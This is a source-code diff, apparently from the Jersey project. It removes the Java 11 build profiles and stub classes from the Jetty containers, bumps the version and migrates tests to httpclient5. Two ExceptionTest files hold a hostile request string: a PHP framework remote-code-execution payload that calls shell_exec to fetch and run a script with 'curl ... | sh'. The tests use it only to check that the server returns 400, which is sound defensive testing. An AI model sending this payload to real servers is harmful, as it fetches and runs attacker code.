-        final JettyHttpContainer container = ContainerFactory.createContainer(JettyHttpContainer.class, config);
-        return createServer(uri, sslContextFactory, container, true);
-    }
-
-    /**
-     * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
-     * in turn manages all root resource and provider classes found by searching the
-     * classes referenced in the java classpath.
-     *
-     * @param uri               the URI to create the http server. The URI scheme must be
-     *                          equal to {@code https}. The URI user information and host
-     *                          are ignored. If the URI port is not present then port
-     *                          {@value Container#DEFAULT_HTTPS_PORT} will be
-     *                          used. The URI path, query and fragment components are ignored.
-     * @param sslContextFactory this is the SSL context factory used to configure SSL connector
-     * @param handler           the container that handles all HTTP requests
-     * @param start             if set to false, server will not get started, this allows end users to set
-     *                          additional properties on the underlying listener.
-     * @return newly created {@link Server}.
-     *
-     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
-     * @throws IllegalArgumentException if {@code uri} is {@code null}.
-     * @see JettyHttpContainer
-     */
-    public static Server createServer(final URI uri,
-                                      final SslContextFactory.Server sslContextFactory,
-                                      final JettyHttpContainer handler,
-                                      final boolean start) {
-        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-    }
-}
diff --git a/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpServer.java b/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpServer.java
deleted file mode 100644
index 70fcc56..0000000
--- a/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpServer.java
+++ /dev/null
@@ -1,80 +0,0 @@
-/*
- * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
- * Copyright (c) 2018 Markus KARG. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty;
-
-import jakarta.ws.rs.ProcessingException;
-import jakarta.ws.rs.core.Application;
-import org.glassfish.jersey.jetty.internal.LocalizationMessages;
-import org.glassfish.jersey.server.ContainerFactory;
-import org.glassfish.jersey.server.JerseySeBootstrapConfiguration;
-import org.glassfish.jersey.server.spi.WebServer;
-
-import java.util.concurrent.CompletableFuture;
-
-/**
- * Jersey {@code Server} implementation based on Jetty
- * {@link org.eclipse.jetty.server.Server Server}.
- *
- * @author Markus KARG (markus@headcrashing.eu)
- * @since 3.1.0
- */
-final class JettyHttpServer implements WebServer {
-
-    private final JettyHttpContainer container;
-
-    private final org.eclipse.jetty.server.Server httpServer;
-
-    JettyHttpServer(final Application application, final JerseySeBootstrapConfiguration configuration) {
-        this(ContainerFactory.createContainer(JettyHttpContainer.class, application), configuration);
-    }
-
-    JettyHttpServer(final Class<? extends Application> applicationClass,
-                    final JerseySeBootstrapConfiguration configuration) {
-        this(new JettyHttpContainer(applicationClass), configuration);
-    }
-
-    JettyHttpServer(final JettyHttpContainer container, final JerseySeBootstrapConfiguration configuration) {
-        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-    }
-
-    @Override
-    public final JettyHttpContainer container() {
-        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-    }
-
-    @Override
-    public final int port() {
-        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-    }
-
-    @Override
-    public final CompletableFuture<Void> start() {
-        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-    }
-
-    @Override
-    public final CompletableFuture<Void> stop() {
-        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-    }
-
-    @Override
-    public final <T> T unwrap(final Class<T> nativeClass) {
-        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-    }
-
-}
diff --git a/containers/jetty-http/src/main/resources/org/glassfish/jersey/jetty/internal/localization.properties b/containers/jetty-http/src/main/resources/org/glassfish/jersey/jetty/internal/localization.properties
index 2fb2350..f3109b3 100644
--- a/containers/jetty-http/src/main/resources/org/glassfish/jersey/jetty/internal/localization.properties
+++ b/containers/jetty-http/src/main/resources/org/glassfish/jersey/jetty/internal/localization.properties
@@ -21,5 +21,4 @@
 unable.to.close.response=Unable to close response output.
 uri.cannot.be.null=The URI must not be null.
 wrong.scheme.when.using.http=The URI scheme should be 'http' when not using SSL.
-wrong.scheme.when.using.https=The URI scheme should be 'https' when using SSL.
-not.supported=Jetty container is not supported on JDK version less than 17.
+wrong.scheme.when.using.https=The URI scheme should be 'https' when using SSL.
\ No newline at end of file
diff --git a/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/ExceptionTest.java b/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/ExceptionTest.java
index 7c4c760..3c748ca 100644
--- a/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/ExceptionTest.java
+++ b/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/ExceptionTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,11 +16,11 @@
 
 package org.glassfish.jersey.jetty;
 
-import org.apache.http.HttpHost;
-import org.apache.http.client.methods.CloseableHttpResponse;
-import org.apache.http.impl.client.CloseableHttpClient;
-import org.apache.http.impl.client.HttpClientBuilder;
-import org.apache.http.message.BasicHttpRequest;
+import org.apache.hc.core5.http.HttpHost;
+import org.apache.hc.client5.http.impl.classic.CloseableHttpResponse;
+import org.apache.hc.client5.http.impl.classic.CloseableHttpClient;
+import org.apache.hc.client5.http.impl.classic.HttpClientBuilder;
+import org.apache.hc.core5.http.message.BasicClassicHttpRequest;
 import org.junit.jupiter.api.Test;
 
 import jakarta.ws.rs.GET;
@@ -57,25 +57,25 @@
         String incorrectFragment = "/v1/abcdefgh/abcde/abcdef/abc/a/%3Fs=/Index/\\x5Cthink\\x5Capp/invokefunction"
                 + "&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=curl+--user-agent+curl_tp5+http://127.0"
                 + ".0.1/ldr.sh|sh";
-        BasicHttpRequest request = new BasicHttpRequest("GET", testUri + incorrectFragment);
+        BasicClassicHttpRequest request = new BasicClassicHttpRequest("GET", testUri + incorrectFragment);
         CloseableHttpClient client = HttpClientBuilder.create().build();
 
         CloseableHttpResponse response = client.execute(new HttpHost(testUri.getHost(), testUri.getPort()), request);
 
-        assertEquals(400, response.getStatusLine().getStatusCode());
+        assertEquals(400, response.getCode());
     }
 
     @Test
     public void test400StatusCodeForIllegalHeaderValue() throws IOException {
         startServer(ExceptionResource.class);
         URI testUri = getUri().build();
-        BasicHttpRequest request = new BasicHttpRequest("GET", testUri.toString() + "/400");
+        BasicClassicHttpRequest request = new BasicClassicHttpRequest("GET", testUri.toString() + "/400");
         request.addHeader("X-Forwarded-Host", "_foo.com");
         CloseableHttpClient client = HttpClientBuilder.create().build();
 
         CloseableHttpResponse response = client.execute(new HttpHost(testUri.getHost(), testUri.getPort()), request);
 
-        assertEquals(400, response.getStatusLine().getStatusCode());
+        assertEquals(400, response.getCode());
     }
 
     @Test
diff --git a/containers/jetty-http2/pom.xml b/containers/jetty-http2/pom.xml
index 00e866c..e5d0557 100644
--- a/containers/jetty-http2/pom.xml
+++ b/containers/jetty-http2/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.containers</groupId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-container-jetty-http2</artifactId>
@@ -32,13 +32,6 @@
 
     <description>Jetty Http2 Container</description>
 
-    <properties>
-        <java11.build.outputDirectory>${project.basedir}/target</java11.build.outputDirectory>
-        <java11.sourceDirectory>${project.basedir}/src/main/java11</java11.sourceDirectory>
-        <java17.build.outputDirectory>${project.basedir}/target17</java17.build.outputDirectory>
-        <java17.sourceDirectory>${project.basedir}/src/main/java17</java17.sourceDirectory>
-    </properties>
-
     <dependencies>
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
@@ -70,8 +63,28 @@
             </exclusions>
         </dependency>
         <dependency>
-            <groupId>org.apache.httpcomponents</groupId>
-            <artifactId>httpclient</artifactId>
+            <groupId>org.eclipse.jetty</groupId>
+            <artifactId>jetty-server</artifactId>
+            <exclusions>
+                <exclusion>
+                    <groupId>org.slf4j</groupId>
+                    <artifactId>slf4j-api</artifactId>
+                </exclusion>
+            </exclusions>
+        </dependency>
+        <dependency>
+            <groupId>org.eclipse.jetty.http2</groupId>
+            <artifactId>jetty-http2-server</artifactId>
+            <exclusions>
+                <exclusion>
+                    <groupId>org.slf4j</groupId>
+                    <artifactId>slf4j-api</artifactId>
+                </exclusion>
+            </exclusions>
+        </dependency>
+        <dependency>
+            <groupId>org.apache.httpcomponents.client5</groupId>
+            <artifactId>httpclient5</artifactId>
             <scope>test</scope>
         </dependency>
         <dependency>
@@ -116,166 +129,4 @@
         </resources>
     </build>
 
-    <profiles>
-        <profile>
-            <id>JettyExclude</id>
-            <activation>
-                <jdk>[11,17)</jdk>
-            </activation>
-            <properties>
-                <jetty.version>${jetty11.version}</jetty.version>
-            </properties>
-            <build>
-                <directory>${java11.build.outputDirectory}</directory>
-                <plugins>
-                    <plugin>
-                        <groupId>org.codehaus.mojo</groupId>
-                        <artifactId>build-helper-maven-plugin</artifactId>
-                        <executions>
-                            <execution>
-                                <phase>generate-sources</phase>
-                                <goals>
-                                    <goal>add-source</goal>
-                                </goals>
-                                <configuration>
-                                    <sources>
-                                        <source>${java11.sourceDirectory}</source>
-                                    </sources>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-compiler-plugin</artifactId>
-                        <configuration>
-                            <testExcludes>
-                                <testExclude>org/glassfish/jersey/jetty/http2/*.java</testExclude>
-                            </testExcludes>
-                        </configuration>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-        <profile>
-            <id>JettyInclude</id>
-            <activation>
-                <jdk>[17,)</jdk>
-            </activation>
-            <dependencies>
-                <dependency>
-                    <groupId>org.eclipse.jetty</groupId>
-                    <artifactId>jetty-server</artifactId>
-                    <exclusions>
-                        <exclusion>
-                            <groupId>org.slf4j</groupId>
-                            <artifactId>slf4j-api</artifactId>
-                        </exclusion>
-                    </exclusions>
-                </dependency>
-                <dependency>
-                    <groupId>org.eclipse.jetty.http2</groupId>
-                    <artifactId>jetty-http2-server</artifactId>
-                    <exclusions>
-                        <exclusion>
-                            <groupId>org.slf4j</groupId>
-                            <artifactId>slf4j-api</artifactId>
-                        </exclusion>
-                    </exclusions>
-                </dependency>
-            </dependencies>
-            <build>
-                <directory>${java17.build.outputDirectory}</directory>
-                <plugins>
-                    <plugin>
-                        <groupId>org.codehaus.mojo</groupId>
-                        <artifactId>build-helper-maven-plugin</artifactId>
-                        <executions>
-                            <execution>
-                                <phase>generate-sources</phase>
-                                <goals>
-                                    <goal>add-source</goal>
-                                </goals>
-                                <configuration>
-                                    <sources>
-                                        <source>${java17.sourceDirectory}</source>
-                                    </sources>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-        <profile>
-            <id>copyJDK17FilesToMultiReleaseJar</id>
-            <activation>
-                <file>
-                    <!-- ${java17.build.outputDirectory} does not work here -->
-                    <exists>target17/classes/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.class</exists>
-                </file>
-                <jdk>[11,17)</jdk>
-            </activation>
-            <build>
-                <plugins>
-                    <plugin>
-                        <groupId>org.apache.felix</groupId>
-                        <artifactId>maven-bundle-plugin</artifactId>
-                        <inherited>true</inherited>
-                        <extensions>true</extensions>
-                        <configuration>
-                            <instructions>
-                                <Multi-Release>true</Multi-Release>
-                            </instructions>
-                        </configuration>
-                    </plugin>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-resources-plugin</artifactId>
-                        <inherited>true</inherited>
-                        <executions>
-                            <execution>
-                                <id>copy-jdk17-classes</id>
-                                <phase>prepare-package</phase>
-                                <goals>
-                                    <goal>copy-resources</goal>
-                                </goals>
-                                <configuration>
-                                    <outputDirectory>${java11.build.outputDirectory}/classes/META-INF/versions/17</outputDirectory>
-                                    <resources>
-                                        <resource>
-                                            <directory>${java17.build.outputDirectory}/classes</directory>
-                                        </resource>
-                                    </resources>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-antrun-plugin</artifactId>
-                        <executions>
-                            <execution>
-                                <id>copy-jdk17-sources</id>
-                                <phase>package</phase>
-                                <configuration>
-                                    <target>
-                                        <property name="sources-jar" value="${java11.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/>
-                                        <echo>sources-jar: ${sources-jar}</echo>
-                                        <zip destfile="${sources-jar}" update="true">
-                                            <zipfileset dir="${java17.sourceDirectory}" prefix="META-INF/versions/17"/>
-                                        </zip>
-                                    </target>
-                                </configuration>
-                                <goals>
-                                    <goal>run</goal>
-                                </goals>
-                            </execution>
-                        </executions>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-    </profiles>
-
 </project>
\ No newline at end of file
diff --git a/containers/jetty-http2/src/main/java17/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java b/containers/jetty-http2/src/main/java/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java
similarity index 98%
rename from containers/jetty-http2/src/main/java17/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java
rename to containers/jetty-http2/src/main/java/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java
index b03f409..815e6d9 100644
--- a/containers/jetty-http2/src/main/java17/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java
+++ b/containers/jetty-http2/src/main/java/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/containers/jetty-http2/src/main/java/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerProvider.java b/containers/jetty-http2/src/main/java/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerProvider.java
index 01c61fc..e0e5ec7 100644
--- a/containers/jetty-http2/src/main/java/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerProvider.java
+++ b/containers/jetty-http2/src/main/java/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerProvider.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -31,9 +31,6 @@
 
     @Override
     public <T> T createContainer(final Class<T> type, final Application application) throws ProcessingException {
-        if (JdkVersion.getJdkVersion().getMajor() < 11) {
-            throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-        }
         if (type != null && (HANDLER_NAME.equalsIgnoreCase(type.getCanonicalName()) || JettyHttpContainer.class == type)) {
             return type.cast(new JettyHttpContainerProvider().createContainer(JettyHttpContainer.class, application));
         }
diff --git a/containers/jetty-http2/src/main/java11/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java b/containers/jetty-http2/src/main/java11/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java
deleted file mode 100644
index cdea00a..0000000
--- a/containers/jetty-http2/src/main/java11/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java
+++ /dev/null
@@ -1,75 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.http2;
-
-import org.eclipse.jetty.server.Server;
-import org.eclipse.jetty.util.ssl.SslContextFactory;
-
-import org.glassfish.jersey.internal.util.JdkVersion;
-import org.glassfish.jersey.jetty.JettyHttpContainer;
-import org.glassfish.jersey.jetty.http2.LocalizationMessages;
-import org.glassfish.jersey.server.ContainerFactory;
-import org.glassfish.jersey.server.ResourceConfig;
-
-import jakarta.ws.rs.ProcessingException;
-import java.net.URI;
-import java.util.ArrayList;
-import java.util.List;
-
-public final class JettyHttp2ContainerFactory {
-
-    private JettyHttp2ContainerFactory() {
-
-    }
-
-    public static Server createHttp2Server(final URI uri) throws ProcessingException {
-        validateJdk();
-        return null; // does not work at JDK lower than 17
-    }
-
-    public static Server createHttp2Server(final URI uri, final ResourceConfig configuration, final boolean start)
-            throws ProcessingException {
-        validateJdk();
-        return null; // does not work at JDK lower than 17
-    }
-
-    public static Server createHttp2Server(final URI uri, final boolean start) throws ProcessingException {
-        validateJdk();
-        return null; // does not work at JDK lower than 17
-    }
-
-    public static Server createHttp2Server(final URI uri, final ResourceConfig config, final boolean start,
-                                           final Object parentContext) {
-        validateJdk();
-        return null; // does not work at JDK lower than 17
-    }
-
-    public static Server createHttp2Server(final URI uri,
-                                           final SslContextFactory.Server sslContextFactory,
-                                           final JettyHttpContainer handler,
-                                           final boolean start) {
-
-        validateJdk();
-        return null; // does not work at JDK lower than 17
-    }
-
-    private static void validateJdk() {
-        if (JdkVersion.getJdkVersion().getMajor() < 17) {
-            throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-        }
-    }
-}
diff --git a/containers/jetty-http2/src/main/resources/org/glassfish/jersey/jetty/http2/localization.properties b/containers/jetty-http2/src/main/resources/org/glassfish/jersey/jetty/http2/localization.properties
index ba290bd..f0e6001 100644
--- a/containers/jetty-http2/src/main/resources/org/glassfish/jersey/jetty/http2/localization.properties
+++ b/containers/jetty-http2/src/main/resources/org/glassfish/jersey/jetty/http2/localization.properties
@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved.
 #
 # This program and the accompanying materials are made available under the
 # terms of the Eclipse Public License v. 2.0, which is available at
@@ -15,5 +15,4 @@
 #
 
 # {0} - status code; {1} - status reason message
-error.when.creating.server=Exception thrown when trying to create jetty server.
-not.supported=Jetty container is not supported on JDK version less than 17.
\ No newline at end of file
+error.when.creating.server=Exception thrown when trying to create jetty server.
\ No newline at end of file
diff --git a/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/ExceptionTest.java b/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/ExceptionTest.java
index 60e086b..7238620 100644
--- a/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/ExceptionTest.java
+++ b/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/ExceptionTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,11 +16,11 @@
 
 package org.glassfish.jersey.jetty.http2;
 
-import org.apache.http.HttpHost;
-import org.apache.http.client.methods.CloseableHttpResponse;
-import org.apache.http.impl.client.CloseableHttpClient;
-import org.apache.http.impl.client.HttpClientBuilder;
-import org.apache.http.message.BasicHttpRequest;
+import org.apache.hc.core5.http.HttpHost;
+import org.apache.hc.client5.http.impl.classic.CloseableHttpResponse;
+import org.apache.hc.client5.http.impl.classic.CloseableHttpClient;
+import org.apache.hc.client5.http.impl.classic.HttpClientBuilder;
+import org.apache.hc.core5.http.message.BasicClassicHttpRequest;
 import org.junit.jupiter.api.Test;
 
 import jakarta.ws.rs.GET;
@@ -57,25 +57,25 @@
         String incorrectFragment = "/v1/abcdefgh/abcde/abcdef/abc/a/%3Fs=/Index/\\x5Cthink\\x5Capp/invokefunction"
                 + "&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=curl+--user-agent+curl_tp5+http://127.0"
                 + ".0.1/ldr.sh|sh";
-        BasicHttpRequest request = new BasicHttpRequest("GET", testUri + incorrectFragment);
+        BasicClassicHttpRequest request = new BasicClassicHttpRequest("GET", testUri + incorrectFragment);
         CloseableHttpClient client = HttpClientBuilder.create().build();
 
         CloseableHttpResponse response = client.execute(new HttpHost(testUri.getHost(), testUri.getPort()), request);
 
-        assertEquals(400, response.getStatusLine().getStatusCode());
+        assertEquals(400, response.getCode());
     }
 
     @Test
     public void test400StatusCodeForIllegalHeaderValue() throws IOException {
         startServer(ExceptionResource.class);
         URI testUri = getUri().build();
-        BasicHttpRequest request = new BasicHttpRequest("GET", testUri.toString() + "/400");
+        BasicClassicHttpRequest request = new BasicClassicHttpRequest("GET", testUri.toString() + "/400");
         request.addHeader("X-Forwarded-Host", "_foo.com");
         CloseableHttpClient client = HttpClientBuilder.create().build();
 
         CloseableHttpResponse response = client.execute(new HttpHost(testUri.getHost(), testUri.getPort()), request);
 
-        assertEquals(400, response.getStatusLine().getStatusCode());
+        assertEquals(400, response.getCode());
     }
 
     @Test
diff --git a/containers/jetty-servlet/pom.xml b/containers/jetty-servlet/pom.xml
index 748af2b..9643ade 100644
--- a/containers/jetty-servlet/pom.xml
+++ b/containers/jetty-servlet/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.containers</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-container-jetty-servlet</artifactId>
@@ -32,13 +32,6 @@
 
     <description>Jetty Servlet Container</description>
 
-    <properties>
-        <java11.build.outputDirectory>${project.basedir}/target</java11.build.outputDirectory>
-        <java11.sourceDirectory>${project.basedir}/src/main/java11</java11.sourceDirectory>
-        <java17.build.outputDirectory>${project.basedir}/target17</java17.build.outputDirectory>
-        <java17.sourceDirectory>${project.basedir}/src/main/java17</java17.sourceDirectory>
-    </properties>
-
     <dependencies>
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
@@ -62,6 +55,10 @@
                     <groupId>org.slf4j</groupId>
                     <artifactId>slf4j-api</artifactId>
                 </exclusion>
+                <exclusion>
+                    <groupId>jakarta.servlet</groupId>
+                    <artifactId>jakarta.servlet-api</artifactId>
+                </exclusion>
             </exclusions>
         </dependency>
         <dependency>
@@ -86,7 +83,7 @@
                 <configuration>
                     <instructions>
                         <Import-Package>
-                            jakarta.servlet.*;version="[5.0,7.0)",
+                            jakarta.servlet.*;version="[6.0,7.0)",
                             ${jetty.osgi.version},
                             *
                         </Import-Package>
@@ -96,176 +93,4 @@
             </plugin>
         </plugins>
     </build>
-
-    <profiles>
-        <profile>
-            <id>JettyExclude</id>
-            <activation>
-                <jdk>[11,17)</jdk>
-            </activation>
-            <dependencies>
-                <dependency>
-                    <groupId>org.eclipse.jetty</groupId>
-                    <artifactId>jetty-webapp</artifactId>
-                    <version>${jetty11.version}</version>
-                    <scope>provided</scope>
-                    <exclusions>
-                        <exclusion>
-                            <groupId>org.slf4j</groupId>
-                            <artifactId>slf4j-api</artifactId>
-                        </exclusion>
-                    </exclusions>
-                </dependency>
-                <dependency>
-                    <groupId>org.eclipse.jetty.ee10</groupId>
-                    <artifactId>jetty-ee10-webapp</artifactId>
-                    <scope>provided</scope>
-                    <exclusions>
-                        <exclusion>
-                            <groupId>*</groupId>
-                            <artifactId>*</artifactId>
-                        </exclusion>
-                    </exclusions>
-                </dependency>
-                <dependency>
-                    <groupId>org.eclipse.jetty</groupId>
-                    <artifactId>jetty-server</artifactId>
-                    <version>${jetty11.version}</version>
-                    <scope>provided</scope>
-                </dependency>
-                <dependency>
-                    <groupId>org.glassfish.jersey.containers</groupId>
-                    <artifactId>jersey-container-jetty-http</artifactId>
-                    <version>${project.version}</version>
-                    <scope>provided</scope>
-                    <exclusions>
-                        <exclusion>
-                            <groupId>org.eclipse.jetty</groupId>
-                            <artifactId>jetty-server</artifactId>
-                        </exclusion>
-                    </exclusions>
-                </dependency>
-            </dependencies>
-            <build>
-                <directory>${java11.build.outputDirectory}</directory>
-                <plugins>
-                    <plugin>
-                        <groupId>org.codehaus.mojo</groupId>
-                        <artifactId>build-helper-maven-plugin</artifactId>
-                        <executions>
-                            <execution>
-                                <phase>generate-sources</phase>
-                                <goals>
-                                    <goal>add-source</goal>
-                                </goals>
-                                <configuration>
-                                    <sources>
-                                        <source>${java11.sourceDirectory}</source>
-                                    </sources>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-        <profile>
-            <id>JettyInclude</id>
-            <activation>
-                <jdk>[17,)</jdk>
-            </activation>
-            <build>
-                <directory>${java17.build.outputDirectory}</directory>
-                <plugins>
-                    <plugin>
-                        <groupId>org.codehaus.mojo</groupId>
-                        <artifactId>build-helper-maven-plugin</artifactId>
-                        <executions>
-                            <execution>
-                                <phase>generate-sources</phase>
-                                <goals>
-                                    <goal>add-source</goal>
-                                </goals>
-                                <configuration>
-                                    <sources>
-                                        <source>${java17.sourceDirectory}</source>
-                                    </sources>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-        <profile>
-            <id>copyJDK17FilesToMultiReleaseJar</id>
-            <activation>
-                <file>
-                    <!-- ${java17.build.outputDirectory} does not work here -->
-                    <exists>target17/classes/org/glassfish/jersey/jetty/JettyWebContainerFactory.class</exists>
-                </file>
-                <jdk>[11,17)</jdk>
-            </activation>
-            <build>
-                <plugins>
-                    <plugin>
-                        <groupId>org.apache.felix</groupId>
-                        <artifactId>maven-bundle-plugin</artifactId>
-                        <inherited>true</inherited>
-                        <extensions>true</extensions>
-                        <configuration>
-                            <instructions>
-                                <Multi-Release>true</Multi-Release>
-                            </instructions>
-                        </configuration>
-                    </plugin>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-resources-plugin</artifactId>
-                        <inherited>true</inherited>
-                        <executions>
-                            <execution>
-                                <id>copy-jdk17-classes</id>
-                                <phase>prepare-package</phase>
-                                <goals>
-                                    <goal>copy-resources</goal>
-                                </goals>
-                                <configuration>
-                                    <outputDirectory>${java11.build.outputDirectory}/classes/META-INF/versions/17</outputDirectory>
-                                    <resources>
-                                        <resource>
-                                            <directory>${java17.build.outputDirectory}/classes</directory>
-                                        </resource>
-                                    </resources>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-antrun-plugin</artifactId>
-                        <executions>
-                            <execution>
-                                <id>copy-jdk17-sources</id>
-                                <phase>package</phase>
-                                <configuration>
-                                    <target>
-                                        <property name="sources-jar" value="${java11.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/>
-                                        <echo>sources-jar: ${sources-jar}</echo>
-                                        <zip destfile="${sources-jar}" update="true">
-                                            <zipfileset dir="${java17.sourceDirectory}" prefix="META-INF/versions/17"/>
-                                        </zip>
-                                    </target>
-                                </configuration>
-                                <goals>
-                                    <goal>run</goal>
-                                </goals>
-                            </execution>
-                        </executions>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-    </profiles>
-
-</project>
+</project>
\ No newline at end of file
diff --git a/containers/jetty-servlet/src/main/java17/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.java b/containers/jetty-servlet/src/main/java/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.java
similarity index 99%
rename from containers/jetty-servlet/src/main/java17/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.java
rename to containers/jetty-servlet/src/main/java/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.java
index 5ada3ed..206c415 100644
--- a/containers/jetty-servlet/src/main/java17/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.java
+++ b/containers/jetty-servlet/src/main/java/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/containers/jetty-servlet/src/main/java11/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.java b/containers/jetty-servlet/src/main/java11/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.java
deleted file mode 100644
index afbec62..0000000
--- a/containers/jetty-servlet/src/main/java11/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.java
+++ /dev/null
